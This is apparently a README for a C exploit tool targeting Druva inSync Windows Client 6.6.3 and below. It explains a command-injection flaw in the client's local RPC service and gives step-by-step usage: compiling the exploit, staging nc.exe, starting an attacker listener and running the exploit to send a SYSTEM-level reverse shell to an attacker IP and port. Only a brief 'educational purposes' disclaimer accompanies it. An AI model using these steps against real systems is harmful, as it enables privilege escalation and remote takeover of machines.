
Local Priviledge Escalation for Druva
A C-based exploit for the Druva inSync Windows Client (v6.6.3 and below). The application exposes an RPC service on port 6064 that is vulnerable to command injection via path traversal. This allows a local user to execute arbitrary commands as NT AUTHORITY\SYSTEM.
Use gcc (MinGW) to compile the source code:
gcc exploit.c -o exploit.exe -lws2_32
Place a copy of nc.exe in a directory accessible by the SYSTEM account (e.g., C:\Windows\Tasks).
Start a listener on your attacker machine:
nc -lvnp 4444
Run the exploit on the target Windows machine:
exploit.exe <Attacker_IP> <Attacker_Port> <Path_to_NC>
Example:
exploit.exe 10.10.10.5 4444 C:\Windows\Tasks\nc.exe
This tool is for educational purposes only. Unauthorized use on systems you do not have permission to test is illegal